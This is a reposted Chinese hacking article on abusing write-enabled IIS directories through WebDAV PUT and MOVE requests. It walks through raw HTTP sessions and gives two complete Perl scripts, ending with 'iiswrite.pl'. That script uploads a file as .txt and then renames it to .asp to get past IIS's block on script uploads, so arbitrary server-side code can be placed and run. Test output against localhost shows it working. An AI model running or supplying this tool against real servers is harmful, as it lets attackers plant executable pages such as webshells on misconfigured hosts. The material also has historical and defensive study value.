| 关键词: print 文件 Scripts file http sock Host kaka IIS 目录 |
作者:SuperHei 转自:http://www.4ngel.net 大家可能看过《远程分析IIS设置》,里面对iis的各种设置进行了分析,我这里就对iis的写权限来分析下,以下引用《远程分析IIS设置》文章对iis写权限分析内容: 写权限 测试一个目录对于web用户是否具有写权限,采用如下方法:telnet到服务器的web端口(80)并发送一个如下请求: PUT /dir/my_file.txt HTTP/1.1Host: iis-serverContent-Length: 10 这时服务器会返回一个100( 继续)的信息: HTTP/1.1 100 ContinueServer: Microsoft-IIS/5.0Date: Thu, 28 Feb 2002 15:56:00 GMT 接着,我们输入10个字母: AAAAAAAAAA 送出这个请求后,看服务器的返回信息,如果是一个 201 Created响应: HTTP/1.1 201 CreatedServer: Microsoft-IIS/5.0Date: Thu, 28 Feb 2002 15:56:08 GMTLocation: http://iis-server/dir/my_file.txtContent-Length: 0Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,PROPPATCH, SEARCH, LOCK, UNLOCK 那么就说明这个目录的写权限是开着的,反之,如果返回的是一个403错误,那么写权限就是没有开起来,如果需要你认证,并且返回一个 401(权限禁止) 的响应的话,说明是开了写权限,但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话,那么web用户就可以上传一个程序并且执行它,恐怖哦%^#$!~ 这里简单说明下: PUT /dir/my_file.txt HTTP/1.1Host: iis-serverContent-Length: 10 PUT:请求服务器将附件的实体储存在提供的请求URL处,如果该请求URL指向的资源已经存在,则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源,该URL将被该请求的用户代理定义成为一个新的资源,原始服务器将用该URL产生这个资源。 Host:是HTTP请求的发送地址 Content-Length:是内容长度,也就是实体长度,该长度值和上传的文件大小一致 用nc(telnet)提交很烦琐,我们这里写个简单的perl程序,来完成这个复杂的提交过程,在写代码时我们用binmode()方式打开文件,代码如下: #!/usr/bin/perluse IO::Socket;$ARGC = @ARGV; if ($ARGC != 4) { print "usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; exit; } $host = @ARGV[0];$port = @ARGV[1];$file = @ARGV[2];$path = @ARGV[3]; @s=stat("$file"); $size = $s[7]; #得到文件大小print "$file size is $size bytes\n"; my $sock = IO::Socket::INET->new(Proto =>"tcp",PeerAddr =>$host,PeerPort =>$port) || die "Sorry! Could not connect to $host \n";print $sock "PUT $path HTTP/1.1\n";print $sock "Host: $host\n";print $sock "Content-Length: $size\n\n"; #sock连接 open(FILE,"$file");binmode(FILE); #用2进制打开文件 while (read(FILE,$char,1024)) { #读取文件数据上传 print $sock "$char";}print $sock "\n\n";@req = <$sock>;print "please wait...\n";sleep(2);if ($req[4]=~/200|201/){ print "upfile Succeed!!!" ; #成功显示}else{ print "upfile faile!!!\n\n"; print @req;#如果失败显示返回错误} close $sock;close FILE; 下面我们测试下: C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txtkaka.txt size is 14 bytesplease wait...upfile Succeed!!! C:\Inetpub\Scripts>dir kaka.txt驱动器 C 中的卷没有标签。卷的序列号是 3CD1-479E C:\Inetpub\Scripts 的目录 2004-05-05 00:37 14 kaka.txt1 个文件 14 字节0 个目录 3,871,080,448 可用字节 这里我们把kaka.txt成功上传到了web目录Scripts下,以为程序中用了binmode()方式(2进制)打开文件,应该可以上传其他文件,我们先测试下exe文件: C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exeperl.exe size is 20535 bytesplease wait...upfile Succeed!!! C:\Inetpub\Scripts>dir perl.exe驱动器 C 中的卷没有标签。卷的序列号是 3CD1-479E C:\Inetpub\Scripts 的目录 2004-05-05 00:42 20,535 perl.exe1 个文件 20,535 字节0 个目录 3,871,031,296 可用字节 成功,可以上传exe了,是不是可以上传任意文件呢?接着来测试asp文件: C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.aspkaka.asp size is 4 bytesplease wait...upfile faile!!! HTTP/1.1 100 ContinueServer: Microsoft-IIS/5.0Date: Tue, 04 May 2004 16:45:51 GMT HTTP/1.1 403 ForbiddenServer: Microsoft-IIS/5.0Date: Tue, 04 May 2004 16:45:51 GMTConnection: closeContent-Type: text/htmlContent-Length: 44 <body><h2>HTTP/1.1 403 Forbidden</h2></body> 失败!!提示HTTP/1.1 403 Forbidden错误,看来直接用post方式写asp不行了,经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。 那我们怎样才可以上传iis支持的文件类型文件呢?iis除了可以执行put,post,get等动作外,还可以执行COPY, MOVE等命令,呵呵!我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件,在提过copy,move命令来改为asp。 我们还是先用nc提交测试下: D:\>nc 127.0.0.1 80MOVE /scripts/kaka.txt HTTP/1.1Host:127.0.0.1Destination: http://127.0.0.1/scripts/kaka.asp HTTP/1.1 201 CreatedServer: Microsoft-IIS/5.0Date: Sun, 05 Oct 2003 09:30:59 GMTLocation: http://127.0.0.1/scripts/x.aspContent-Type: text/xmlContent-Length: 0 成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了:)。我们还是用perl来完成。 测试写asp成功: C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp************************************************************codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>************************************************************kaka.asp size is 4 bytesplease wait...upfile Succeed!!!Modifyfile Succeed!!! 最终的iiswrite.pl代码如下(由于写本文时,在网吧对于文章中代码是先又本人打“草稿”,又lanker测试并最终完成,THX lanker。): #!/usr/bin/perl#The iiswrite Script use IO::Socket;$ARGC = @ARGV; print "*" x 60;print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n";print "*" x 60,"\n";if ($ARGC != 4) { print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; exit; } $host = @ARGV[0];$port = @ARGV[1];$path = @ARGV[3];$file = @ARGV[2]; @path=split("/",$path);$any = pop(@path);$path1=join("/",@path);@s=stat("$file"); $size = $s[7]; print "$file size is $size bytes\n";my $sock = IO::Socket::INET->new(Proto =>"tcp",PeerAddr =>$host,PeerPort =>$port) || die "Sorry! Could not connect to $host \n";print $sock "PUT $path1/lanker.txt HTTP/1.1\n";print $sock "Host: $host\n";print $sock "Content-Length: $size\n\n";open(FILE,"$file")|| die "Can't open $file";binmode(FILE);while (read(FILE,$char,1024)) { print $sock "$char";}print $sock "\n\n";@req = <$sock>;print "please wait...\n";sleep(2);if ($req[4]=~/200|201/){ print "upfile Succeed!!!\n" ;}else{ print "upfile faile!!!\n";} close $sock;close FILE; my $sock = IO::Socket::INET->new(Proto =>"tcp",PeerAddr =>$host,PeerPort =>$port) || die "Sorry! Could not connect to $host \n";print $sock "MOVE $path1/lanker.txt HTTP/1.1\n";print $sock "Host: $host\n";print $sock "Destination:http://$host:$port$path\n\n\n\n";@req = <$sock>;if ($req[0]=~/20\d+|/){ print "Modifyfile Succeed!!!" ;}else{ print "upfile faile!!!";}close $sock |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|